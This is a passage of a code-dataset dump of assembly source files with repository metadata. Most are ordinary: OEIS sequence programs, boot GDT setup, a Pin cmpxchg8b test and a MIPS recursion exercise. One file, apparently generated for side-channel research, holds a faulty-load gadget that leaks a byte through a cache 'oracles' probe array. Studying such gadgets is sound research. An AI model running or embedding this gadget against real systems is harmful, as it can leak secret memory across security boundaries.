] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/087/A087743.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/087/A087743.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A087743: Numbers n >= 3 with property that the remainder when n is divided by k (for 3 <= k <= n-2) is not 1.
; 3,4,5,6,8,12,14,18,20,24,30,32,38,42,44,48,54,60,62,68,72,74,80,84,90,98,102,104,108,110,114,128,132,138,140,150,152,158,164,168,174,180,182,192,194,198,200,212,224,228,230,234,240,242,252,258,264,270
mov $1,$0
trn $1,1
seq $1,6005 ; The odd prime numbers together with 1.
sub $1,2
max $0,$1
add $0,3
| 41.6 | 202 | 0.675481 |
32df86eb12a009ca281df7ef04df1ac4903c128c | 1,947 | asm | Assembly | boot1/gdt.asm | hyfloac/Kernel | f4a8a97651abcfd4419015046440d1017546f6bf | [
"MIT"
] | null | null | null | boot1/gdt.asm | hyfloac/Kernel | f4a8a97651abcfd4419015046440d1017546f6bf | [
"MIT"
] | null | null | null | boot1/gdt.asm | hyfloac/Kernel | f4a8a97651abcfd4419015046440d1017546f6bf | [
"MIT"
] | null | null | null | gdt_start:
dq 0
gdt_code:
dw 0xFFFF ; Limit Low
dw 0x0000 ; Base Low
db 0x00 ; Base Middle
db 10011010b ; Access Byte
; [Pr] Present - 1 (Valid)
; [Privl] Privilege - 00 (Ring 0)
; [S] Descriptor Type - 1 (Code/Segment)
; [Ex] Executable - 1 (Executable)
; [DC] Conforming - 0 (Requires Ring 0)
; [RW] Read/Write - 1 (Readable)
; [Ac] Accessed - 0 (Set when the CPU accesses this segment)
db 11001111b ; Flags & Limit High
; [Gr] Granularity - 1 (4 KiB Blocks)
; [Sz] Size - 1 (32 Bit Protected)
; [0] - 0
; [0] - 0
; Limit High: 0xF
db 0x00 ; Base High
gdt_data:
dw 0xFFFF ; Limit Low
dw 0x0000 ; Base Low
db 0x00 ; Base Middle
db 10010010b ; Access Byte
; [Pr] Present - 1 (Valid)
; [Privl] Privilege - 00 (Ring 0)
; [S] Descriptor Type - 1 (Code/Segment)
; [Ex] Executable - 0 (Data)
; [DC] Conforming - 0 (Requires Ring 0)
; [RW] Read/Write - 1 (Writable)
; [Ac] Accessed - 0 (Set when the CPU accesses this segment)
db 11001111b ; Flags & Limit High
; [Gr] Granularity - 1 (4 KiB Blocks)
; [Sz] Size - 1 (32 Bit Protected)
; [0] - 0
; [0] - 0
; Limit High: 0xF
db 0x00 ; Base High
gdt_end:
gdt_ptr:
dw gdt_end - gdt_start
dd gdt_start
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
code_seg: dd CODE_SEG
data_seg: dd DATA_SEG
global code_seg
global data_seg
| 36.055556 | 82 | 0.447355 |
04d030ed9d0237a3c8d08655eacb5894d99a748e | 1,302 | asm | Assembly | programs/oeis/138/A138331.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/138/A138331.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/138/A138331.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A138331: a(n) = C(n+5, 5)*(n+3)*(-1)^(n+1)*16/3.
; -16,128,-560,1792,-4704,10752,-22176,42240,-75504,128128,-208208,326144,-495040,731136,-1054272,1488384,-2062032,2808960,-3768688,4987136,-6517280,8419840,-10764000,13628160,-17100720,21280896,-26279568,32220160,-39239552,47489024,-57135232,68361216,-81367440,96372864,-113616048,133356288,-155874784,181475840,-210488096,243265792,-280190064,321670272,-368145360,420085248,-477992256,542402560,-613887680,693056000,-780554320,877069440,-983329776,1100107008,-1228217760,1368525312,-1521941344,1689427712,-1871998256,2070720640,-2286718224,2521171968,-2775322368,3050471424,-3347984640,3669293056,-4015895312,4389359744,-4791326512,5223509760,-5687699808,6185765376,-6719655840,7291403520,-7903126000,8557028480,-9255406160,10000646656,-10795232448,11641743360,-12542859072,13501361664,-14520138192,15602183296,-16750601840,17968611584,-19259545888,20626856448,-22074116064,23605021440,-25223396016,26933192832,-28738497424,30643530752,-32652652160,34770362368,-37001306496,39350277120,-41822217360,44422224000,-47155550640,50027610880
mov $1,$0
add $1,2
mul $1,2
add $1,1
mov $2,1
add $2,$1
mov $3,1
mov $4,-6
bin $4,$0
mov $0,1
mul $3,$4
mul $2,$3
lpb $1
div $0,2
mov $1,$0
mul $2,2
sub $0,$2
lpe
sub $0,96
div $0,12
mul $0,16
add $0,128
| 50.076923 | 1,037 | 0.782642 |
741d4c36f1f96ae6cc6412e8a6691a552b224951 | 124 | asm | Assembly | libsrc/_DEVELOPMENT/string/c/sccz80/strupr.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 8 | 2017-01-18T12:02:17.000Z | 2021-06-12T09:40:28.000Z | libsrc/_DEVELOPMENT/string/c/sccz80/strupr.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 1 | 2017-03-06T07:41:56.000Z | 2017-03-06T07:41:56.000Z | libsrc/_DEVELOPMENT/string/c/sccz80/strupr.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 3 | 2017-03-07T03:19:40.000Z | 2021-09-15T17:59:19.000Z |
; char *strupr(char *s)
SECTION code_clib
SECTION code_string
PUBLIC strupr
EXTERN asm_strupr
defc strupr = asm_strupr
| 10.333333 | 24 | 0.782258 |
cb69102236b8aad110cb8e23c75208b9888cfb46 | 663 | asm | Assembly | oeis/166/A166010.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/166/A166010.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/166/A166010.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A166010: a(n) = prime(n)^2-4.
; Submitted by Jamie Morken(s3)
; 0,5,21,45,117,165,285,357,525,837,957,1365,1677,1845,2205,2805,3477,3717,4485,5037,5325,6237,6885,7917,9405,10197,10605,11445,11877,12765,16125,17157,18765,19317,22197,22797,24645,26565,27885,29925,32037,32757,36477,37245,38805,39597,44517,49725,51525,52437,54285,57117,58077,62997,66045,69165,72357,73437,76725,78957,80085,85845,94245,96717,97965,100485,109557,113565,120405,121797,124605,128877,134685,139125,143637,146685,151317,157605,160797,167277,175557,177237,185757,187485,192717,196245
mul $0,2
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
pow $0,2
sub $0,4
| 66.3 | 496 | 0.781297 |
8d415d4bb6291a1b014a588b28dfbda96e6033c5 | 428 | asm | Assembly | programs/oeis/093/A093260.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/093/A093260.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/093/A093260.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A093260: a(n) is the largest number such that all of a(n)'s length-n substrings are distinct and divisible by 60.
; 0,600,96000,9960000,999600000,99996000000,9999960000000,999999600000000,99999996000000000,9999999960000000000,999999999600000000000,99999999996000000000000,9999999999960000000000000,999999999999600000000000000,99999999999996000000000000000
mov $1,10
pow $1,$0
sub $1,2
pow $1,2
div $1,20
mul $1,200
mov $0,$1
| 38.909091 | 241 | 0.820093 |
1b0809a35e6db846befa4bb71e0893a0aa7ac2b1 | 2,908 | asm | Assembly | dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/cmpxchg8b_win.asm | DigitalAlchemist/fuzzwatch | 32517e7b80b680dd658e833ed2dfdd88744e6694 | [
"Apache-2.0"
] | 326 | 2019-08-10T21:17:22.000Z | 2022-03-22T08:40:47.000Z | dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/cmpxchg8b_win.asm | DigitalAlchemist/fuzzwatch | 32517e7b80b680dd658e833ed2dfdd88744e6694 | [
"Apache-2.0"
] | 42 | 2019-08-13T12:48:19.000Z | 2021-11-03T12:57:59.000Z | dbi_clients_src/pin/pin-3.6-97554-g31f0a167d-gcc-linux/source/tools/ToolUnitTests/cmpxchg8b_win.asm | DigitalAlchemist/fuzzwatch | 32517e7b80b680dd658e833ed2dfdd88744e6694 | [
"Apache-2.0"
] | 66 | 2019-08-10T21:41:38.000Z | 2022-03-17T13:03:42.000Z | ; BEGIN_LEGAL
; Intel Open Source License
;
; Copyright (c) 2002-2017 Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer. Redistributions
; in binary form must reproduce the above copyright notice, this list of
; conditions and the following disclaimer in the documentation and/or
; other materials provided with the distribution. Neither the name of
; the Intel Corporation nor the names of its contributors may be used to
; endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; END_LEGAL
PUBLIC cmpxchg8_base
PUBLIC cmpxchg8_plus8
.686
.model flat, c
.code
cmpxchg8_base PROC
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
mov esi, [ ebp + 8 ]
mov eax, 1
mov edx, 1
mov ebx, 2
mov ecx, 2
cmpxchg8b QWORD PTR [esi]
jz success1
fail1:
mov eax, 0
jmp end1
success1:
mov eax, 1
end1:
pop esi
pop edx
pop ecx
pop ebx
leave
ret
cmpxchg8_base ENDP
cmpxchg8_plus8 PROC
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
mov esi, [ ebp + 8 ]
mov eax, 1
mov edx, 1
mov ebx, 2
mov ecx, 2
cmpxchg8b QWORD PTR [ esi + 8 ]
jz success2
fail2:
mov eax, 0
jmp end2
success2:
mov eax, 1
end2:
pop esi
pop edx
pop ecx
pop ebx
leave
ret
cmpxchg8_plus8 ENDP
cmpxchg8_esp PROC
push ebp
mov ebp, esp
push ebx
push ecx
push edx
push esi
mov eax, 1
mov edx, 1
lea esp,[esp + 8]
mov [esp],eax
mov [esp+4],edx
mov ebx, 2
mov ecx, 2
cmpxchg8b QWORD PTR [ esp ]
jz success3
fail3:
mov eax, 0
jmp end3
success3:
mov eax, 1
end3:
lea esp,[esp-8]
pop esi
pop edx
pop ecx
pop ebx
leave
ret
cmpxchg8_esp ENDP
end
| 19.648649 | 72 | 0.684663 |
b4d39c468a0d2f8520c1f10f74b9fcfd3c61f0d2 | 250 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/sqr_fastcall.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/sqr_fastcall.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/sqr_fastcall.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_am9511
PUBLIC sqr_fastcall
EXTERN asm_am9511_sqr_fastcall
defc sqr_fastcall = asm_am9511_sqr_fastcall
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _sqr_fastcall
defc _sqr_fastcall = asm_am9511_sqr_fastcall
ENDIF
| 16.666667 | 47 | 0.808 |
13df0f774d9c029b97420bb507f14d1e682528b5 | 4,807 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2779.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2779.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2779.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x190dc, %rsi
lea addresses_WT_ht+0xc4, %rdi
nop
nop
nop
and %r11, %r11
mov $93, %rcx
rep movsl
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0xb2dc, %rsi
inc %r12
movb $0x61, (%rsi)
nop
nop
nop
nop
nop
dec %rdi
lea addresses_A_ht+0x1c01c, %r15
nop
nop
nop
nop
dec %rax
movb (%r15), %cl
nop
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x1b5dc, %rcx
nop
nop
and $41387, %rdi
movb $0x61, (%rcx)
nop
nop
nop
nop
inc %r15
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rbx
push %rdx
push %rsi
// Faulty Load
lea addresses_WC+0x147dc, %r9
nop
nop
nop
cmp $58261, %rdx
movups (%r9), %xmm4
vpextrq $0, %xmm4, %r12
lea oracles, %r9
and $0xff, %r12
shlq $12, %r12
mov (%r9,%r12,1), %r12
pop %rsi
pop %rdx
pop %rbx
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 46.669903 | 2,999 | 0.659871 |
06fe00f9fbc17070b64891f26eb893cdcc571708 | 659 | asm | Assembly | oeis/030/A030031.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/030/A030031.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/030/A030031.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A030031: Binomial((n+1)^2, prime(n)).
; Submitted by Christian Krause
; 6,84,4368,480700,600805296,262596783764,1379370175283520,1514334254464231200,24865270306254660391200,7359958875023243471254188840,30252210715675198558211547346560,27736893389807828057568911670132340158,3170935664621755536830934876837287039957088,31497938540781415265617383542964744034087754400,6582095365479611301808167350620040970809418373728000,38696960081576728304731884639164521486924552714232454688320,342494326122511385350369020333782241124196040788659470752692441824
mov $2,2
add $2,$0
seq $0,6005 ; The odd prime numbers together with 1.
max $0,2
pow $2,2
bin $2,$0
mov $0,$2
| 54.916667 | 475 | 0.874052 |
7d64b41b52f65314a663da9664536c0830b4b619 | 1,246 | asm | Assembly | programs/oeis/212/A212689.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/212/A212689.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/212/A212689.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A212689: Number of (w,x,y,z) with all terms in {1,...,n} and 2|w-x|>n+|y-z|.
; 0,0,0,6,20,58,124,244,424,700,1080,1610,2300,3206,4340,5768,7504,9624,12144,15150,18660,22770,27500,32956,39160,46228,54184,63154,73164,84350,96740,110480,125600,142256,160480,180438,202164,225834
mov $19,$0
mov $21,$0
lpb $21
clr $0,19
mov $0,$19
sub $21,1
sub $0,$21
mov $16,$0
mov $18,$0
lpb $18
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
lpb $15
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
lpb $0
sub $0,1
mov $7,$0
mod $0,2
mov $2,$7
sub $2,$0
add $0,$2
mov $1,$2
mov $3,$2
mov $4,2
mul $4,$0
mov $0,$5
add $1,$4
mul $3,$1
lpe
mov $1,$3
mov $12,$11
lpb $12
mov $10,$1
sub $12,1
lpe
lpe
lpb $9
mov $9,0
sub $10,$1
lpe
mov $1,$10
div $1,4
mul $1,2
add $14,$1
lpe
add $17,$14
lpe
add $20,$17
lpe
mov $1,$20
| 18.597015 | 198 | 0.428571 |
f87f87a1f3e7f6d7ff5dfed429af566b71efa721 | 3,527 | asm | Assembly | calls/DoublyRecursiveFunction.asm | gmarciani/assimply | dc99d9f58dac43c8354d9cf7b36d28445bbb8921 | [
"MIT"
] | 1 | 2015-12-11T17:48:21.000Z | 2015-12-11T17:48:21.000Z | calls/DoublyRecursiveFunction.asm | gmarciani/assimply | dc99d9f58dac43c8354d9cf7b36d28445bbb8921 | [
"MIT"
] | null | null | null | calls/DoublyRecursiveFunction.asm | gmarciani/assimply | dc99d9f58dac43c8354d9cf7b36d28445bbb8921 | [
"MIT"
] | null | null | null | # @Name: DoublyRecursiveFunction
# @Description: The program computes T(n)=Sum(F(i)), for i in [0,n].
# F(x) is a doubly recursive function, defined as follow:
# F(x)=1, for x<=1;
# F(x)=F(x-1)*F(x-2)+1, otherwise.
#
# @Author: Giacomo Marciani <giacomo.marciani@gmail.com>
.data
msg_welcome: .asciiz "Il programma esegue la sommatoria degli n risultati di una funzione doppiamente ricorsiva. \n\n"
msg_input: .asciiz "Inserisci n: "
msg_result: .asciiz "\nRisultato: "
.text
.globl main
### MAIN ###
main:
welcome:
la $a0,msg_welcome #carica l'indirizzo di msg_welcome.
addi $v0,$zero,4 #codice servizio print string.
syscall
user_input:
la $a0,msg_input #carica l'indirizzo di msg_input.
addi $v0,$zero,4 #codice servizio print string.
syscall
addi $v0,$zero,5 #codice servizio read int.
syscall
addi $a0,$v0,0 #$a0=n, argomento di T(n).
jal T #chiama T(n).
nop
result:
addi $t0,$v0,0 #salva il risultato in $t0.
la $a0,msg_result #carica l'indirizzo di msg_result.
addi $v0,$zero,4 #codice servizio print string.
syscall
addi $a0,$t0,0 #pone il contenuto di $t0 in $a0.
addi $v0,$zero,1 #codice servizio print int.
syscall
exit_program:
addi $v0,$zero,10 #codice servizio exit.
syscall
### FINE MAIN ###
### FUNZIONE int T(int n): $a0=n,$v0=T(n). ###
T:
subu $sp,$sp,8 #alloca uno stack frame da 8 byte per T(n). 1 locazione per $ra, 1 locazione per $a0.
sw $ra,0($sp) #carica l'indirizzo di ritorno nello stack frame.
sw $a0,4($sp) #carica l'argomento $a0=n nello stack frame.
addi $v0,$zero,0 #$v0=0.
addi $t0,$zero,0 #$t0=i=0.
addi $t1,$a0,1 #$t1=n+1.
ciclo_for_T:
slt $t2,$t0,$t1 #$t2=1 sse i<(n+1).
beq $t2,$zero,exit_ciclo_for_T #salta alla fine del ciclo, sse $t2=0, cioè sse i=>(n+1).
addi $v1,$zero,0 #$v1=0, cioè resetta il risultato di F(n), perchè dovrà essere ricalcolato.
addi $a1,$t0,0 #$a1=$t0=i, quindi n=i, argomento per la chiamata a F(n).
jal F #chiama F(n).
nop
add $v0,$v0,$v1 #$v0=$v0+$v1. $v1=F(n). Quindi aggiorna la sommatoria S.
addi $t0,$t0,1 #$t0=($t0+1)=(i+1), cioè i++.
j ciclo_for_T
exit_ciclo_for_T:
nop
lw $ra,0($sp) #carica l'indirizzo di ritorno.
addi $sp,$sp,8 #dealloca lo stack frame di T(n).
jr $ra
### FINE FUNZIONE int T(int n) ###
### FUNZIONE int F(int n): $a1=n,$v1=F(n). ###
F:
subu $sp,$sp,16 #alloca lo stack frame da 16 byte per F(n). 1 locazione per $ra, 1 locazione per $a1, 1 locazione per il risultato di F(n-1), 1 locazione per il risultato di F(n-2).
sw $ra,0($sp) #carica l'indirizzo di ritorno nello stack frame.
sw $a1,4($sp) #carica $a1=n nello stack frame.
addi $t4,$zero,1 #$t4=1, usata come costante.
slt $t3,$t4,$a1 #$t3=1 iff $t4=1<$a1=n, cioè $t3=1 sse n=>2.
beq $t3,$zero,caso_minore_uguale_1 #base della ricorsione: F(n<=1)=1.
subu $a1,$a1,1 #$a1=(n-1).
jal F #chiamata ricorsiva a F(n-1).
nop
sw $v1,8($sp) #carico il risultato di F(n-1) nello stack frame di F(n).
lw $a1,4($sp) #$a1=n.
subu $a1,$a1,2 #$a1=($a1-2)=(n-2), argomento per la chiamata ricorsiva F(n-2).
jal F #chiama F(n-2).
nop
sw $v1,12($sp) #carico il risultato di F(n-2) nello stack frame di F(n).
lw $ra,0($sp) #carico l'indirizzo di ritorno.
lw $t5,8($sp) #$t5=F(n-1).
lw $t6,12($sp) #$t6=F(n-2).
mul $v1,$t5,$t6 #$v1=$t5*$t6=F(n-1)*F(n-2).
addi $v1,$v1,1 #$v1=$v1+1=F(n-1)*F(n-2)+1=F(n).
addi $sp,$sp,16 #dealloca lo stack frame di F(n).
jr $ra
caso_minore_uguale_1:
addi $v1,$zero,1 #base della ricorsione: F(n<=1)=1.
lw $ra,0($sp)#carica l'indirizzo di ritorno.
addi $sp,$sp,16 #dealloca lo stack frame di F(n).
jr $ra
### FINE FUNZIONE int T(int n) ###
| 29.638655 | 181 | 0.665438 |
5d93785f664b526cea1bacbbc29d2ea0e7a93dde | 1,283 | asm | Assembly | src/main/resources/Examples/PreProcessing Commands/definline memoryLables.asm | jimw278/MIPS | 13d666f46ad945f038514768d975150d89cd612b | [
"Apache-2.0"
] | 3 | 2020-11-04T00:03:41.000Z | 2020-11-30T00:35:39.000Z | src/main/resources/Examples/PreProcessing Commands/definline memoryLables.asm | jimw278/MIPS | 13d666f46ad945f038514768d975150d89cd612b | [
"Apache-2.0"
